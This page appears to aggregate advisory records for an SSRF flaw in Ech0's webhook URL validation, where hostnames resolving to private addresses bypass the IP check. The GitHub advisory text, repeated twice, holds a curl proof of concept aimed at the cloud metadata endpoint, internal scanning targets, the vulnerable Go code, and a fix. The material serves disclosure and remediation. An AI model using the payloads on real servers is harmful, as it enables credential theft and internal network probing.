Ech0 before 4.4.3 SSRF via DNS Resolution Bypass
cve-program · CVE-2026-79671
PublishedEch0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.
Read the publisher's advisoryeuvd · EUVD-2026-65443
PublishedEch0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.
Read the publisher's advisorynvd · CVE-2026-79671
PublishedEch0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.
Read the publisher's advisoryosv · GHSA-r2x7-427f-rq69
Published## Summary The `validateWebhookURL` function in `webhook_setting_service.go` attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via `net.ParseIP()`. Hostnames that DNS-resolve to private IPs (e.g., `169.254.169.254.nip.io`, `10.0.0.1.nip.io`) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints. ## Details The vulnerability is in `validateWebhookURL` (`internal/service/setting/webhook_setting_service.go:180-199`): ```go func validateWebhookURL(rawURL string) error { parsed, err := url.Parse(rawURL) // ... host := strings.ToLower(parsed.Hostname()) if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") { return errors.New(commonModel.INVALID_WEBHOOK_URL) } if ip := net.ParseIP(host); ip != nil { // <-- returns nil for hostnames if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() || ip.IsLinkLocalUnicast() || ip.IsUnspecified() { return errors.New(commonModel.INVALID_WEBHOOK_URL) } } return nil // hostname passes all checks unchecked } ``` `net.ParseIP("169.254.169.254.nip.io")` returns `nil` because it is not a literal IP address. The entire private IP check block is skipped, and the function returns `nil` (valid). Both HTTP clients that execute webhook requests use standard `http.Client` / `http.Transport` with no custom `DialContext` to verify resolved IPs: - **TestWebhook** (`webhook_setting_service.go:169`): `&http.Client{Timeout: 5 * time.Second}` - **Dispatcher** (`dispatcher.go:51-58`): `&http.Client{...Transport: &http.Transport{...}}` — no custom dialer The `Dispatcher.HandleObservation` (`dispatcher.go:67-81`) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event. **Execution flow:** 1. Admin calls POST `/api/webhook` with URL `http://169.254.169.254.nip.io/latest/meta-data/` 2. `CreateWebhook` → `validateWebhookURL` → `net.ParseIP` returns nil → passes validation 3. Webhook stored in database with `is_active: true` 4. On any echo event → `Dispatcher.HandleObservation` → `Dispatch` → `SendWithRetry` → DNS resolves `169.254.169.254.nip.io` to `169.254.169.254` → POST to cloud metadata endpoint ## PoC ```bash # Step 1: Create a webhook targeting cloud metadata via DNS rebinding curl -X POST http://localhost:8080/api/webhook \ -H 'Authorization: Bearer <admin-jwt>' \ -H 'Content-Type: application/json' \ -d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}' # Step 2: Trigger SSRF via test endpoint curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \ -H 'Authorization: Bearer <admin-jwt>' # The server makes an HTTP POST to 169.254.169.254 (AWS metadata). # net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks. # Delivery status and error messages reveal connectivity information. # For internal network scanning: # http://10.0.0.1.nip.io:8080/ # http://127.0.0.1.nip.io:6379/ # With is_active:true, every application event automatically dispatches # to the SSRF target via Dispatcher.HandleObservation (no re-validation). ``` ## Impact - **Cloud metadata access:** An admin can reach cloud instance metadata endpoints (AWS `169.254.169.254`, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data. - **Internal network probing:** Webhooks can scan internal services by observing delivery status (`success`/`failed`) and error messages, mapping internal network topology. - **Persistent SSRF:** Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction. - **Scope escalation:** Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this. ## Recommended Fix Replace the hostname-only check with a custom `net.Dialer` that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients: ```go import "net" func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) { host, port, err := net.SplitHostPort(addr) if err != nil { return nil, err } ips, err := net.DefaultResolver.LookupIPAddr(ctx, host) if err != nil { return nil, err } for _, ip := range ips { if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() || ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() { return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP) } } dialer := &net.Dialer{Timeout: 5 * time.Second} return dialer.DialContext(ctx, network, addr) } // Use in both TestWebhook and Dispatcher: client := &http.Client{ Timeout: 5 * time.Second, Transport: &http.Transport{ DialContext: safeDialContext, }, } ``` This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.
Read the publisher's advisoryosv · GO-2026-5603
PublishedEch0 has SSRF via DNS Resolution Bypass in Webhook URL Validation in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.
Read the publisher's advisoryAffected versions, risk and source history
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cve-program · CVE-2026-79671
PublishedEch0 before 4.4.3 SSRF via DNS Resolution Bypass
Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.
- Source published
- 25 Aug 2026 11:33:32 UTC
- Source modified
- 29 Aug 2026 11:48:00 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
CVSS 3.1 · 5.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
euvd · EUVD-2026-65443
PublishedEch0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resol…
Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Aug 25, 2026, 11:33:32 AM
dateUpdated: Aug 29, 2026, 11:48:00 AM
- Source published
- Aug 25, 2026, 11:33:32 AM (timezone not stated)
- Source modified
- Aug 29, 2026, 11:48:00 AM (timezone not stated)
- Saved here
- 19 Nov 2026 18:51:05 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
nvd · CVE-2026-79671
PublishedEch0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resol…
Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-918
Original publisher date fields
published: 2026-08-25T12:16:35.390
lastModified: 2026-08-31T20:50:15.927
- Source published
- 25 Aug 2026 12:16:35 UTC
- Source modified
- 31 Aug 2026 20:50:15 UTC
- Saved here
- 25 Oct 2026 16:19:04 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 5.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
osv · GHSA-r2x7-427f-rq69
PublishedEch0 has SSRF via DNS Resolution Bypass in Webhook URL Validation
## Summary The `validateWebhookURL` function in `webhook_setting_service.go` attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via `net.ParseIP()`. Hostnames that DNS-resolve to private IPs (e.g., `169.254.169.254.nip.io`, `10.0.0.1.nip.io`) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints. ## Details The vulnerability is in `validateWebhookURL` (`internal/service/setting/webhook_setting_service.go:180-199`): ```go func validateWebhookURL(rawURL string) error { parsed, err := url.Parse(rawURL) // ... host := strings.ToLower(parsed.Hostname()) if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") { return errors.New(commonModel.INVALID_WEBHOOK_URL) } if ip := net.ParseIP(host); ip != nil { // <-- returns nil for hostnames if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() || ip.IsLinkLocalUnicast() || ip.IsUnspecified() { return errors.New(commonModel.INVALID_WEBHOOK_URL) } } return nil // hostname passes all checks unchecked } ``` `net.ParseIP("169.254.169.254.nip.io")` returns `nil` because it is not a literal IP address. The entire private IP check block is skipped, and the function returns `nil` (valid). Both HTTP clients that execute webhook requests use standard `http.Client` / `http.Transport` with no custom `DialContext` to verify resolved IPs: - **TestWebhook** (`webhook_setting_service.go:169`): `&http.Client{Timeout: 5 * time.Second}` - **Dispatcher** (`dispatcher.go:51-58`): `&http.Client{...Transport: &http.Transport{...}}` — no custom dialer The `Dispatcher.HandleObservation` (`dispatcher.go:67-81`) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event. **Execution flow:** 1. Admin calls POST `/api/webhook` with URL `http://169.254.169.254.nip.io/latest/meta-data/` 2. `CreateWebhook` → `validateWebhookURL` → `net.ParseIP` returns nil → passes validation 3. Webhook stored in database with `is_active: true` 4. On any echo event → `Dispatcher.HandleObservation` → `Dispatch` → `SendWithRetry` → DNS resolves `169.254.169.254.nip.io` to `169.254.169.254` → POST to cloud metadata endpoint ## PoC ```bash # Step 1: Create a webhook targeting cloud metadata via DNS rebinding curl -X POST http://localhost:8080/api/webhook \ -H 'Authorization: Bearer <admin-jwt>' \ -H 'Content-Type: application/json' \ -d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}' # Step 2: Trigger SSRF via test endpoint curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \ -H 'Authorization: Bearer <admin-jwt>' # The server makes an HTTP POST to 169.254.169.254 (AWS metadata). # net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks. # Delivery status and error messages reveal connectivity information. # For internal network scanning: # http://10.0.0.1.nip.io:8080/ # http://127.0.0.1.nip.io:6379/ # With is_active:true, every application event automatically dispatches # to the SSRF target via Dispatcher.HandleObservation (no re-validation). ``` ## Impact - **Cloud metadata access:** An admin can reach cloud instance metadata endpoints (AWS `169.254.169.254`, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data. - **Internal network probing:** Webhooks can scan internal services by observing delivery status (`success`/`failed`) and error messages, mapping internal network topology. - **Persistent SSRF:** Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction. - **Scope escalation:** Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this. ## Recommended Fix Replace the hostname-only check with a custom `net.Dialer` that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients: ```go import "net" func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) { host, port, err := net.SplitHostPort(addr) if err != nil { return nil, err } ips, err := net.DefaultResolver.LookupIPAddr(ctx, host) if err != nil { return nil, err } for _, ip := range ips { if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() || ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() { return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP) } } dialer := &net.Dialer{Timeout: 5 * time.Second} return dialer.DialContext(ctx, network, addr) } // Use in both TestWebhook and Dispatcher: client := &http.Client{ Timeout: 5 * time.Second, Transport: &http.Transport{ DialContext: safeDialContext, }, } ``` This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.
- Source published
- 10 Apr 2026 19:49:48 UTC
- Source modified
- 27 Aug 2026 03:55:35 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Publisher rating · MODERATE
osv · GO-2026-5603
PublishedEch0 has SSRF via DNS Resolution Bypass in Webhook URL Validation in github.com/lin-snow/ech0
Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.
- Source published
- 25 Jun 2026 22:34:34 UTC
- Source modified
- 27 Aug 2026 03:55:35 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.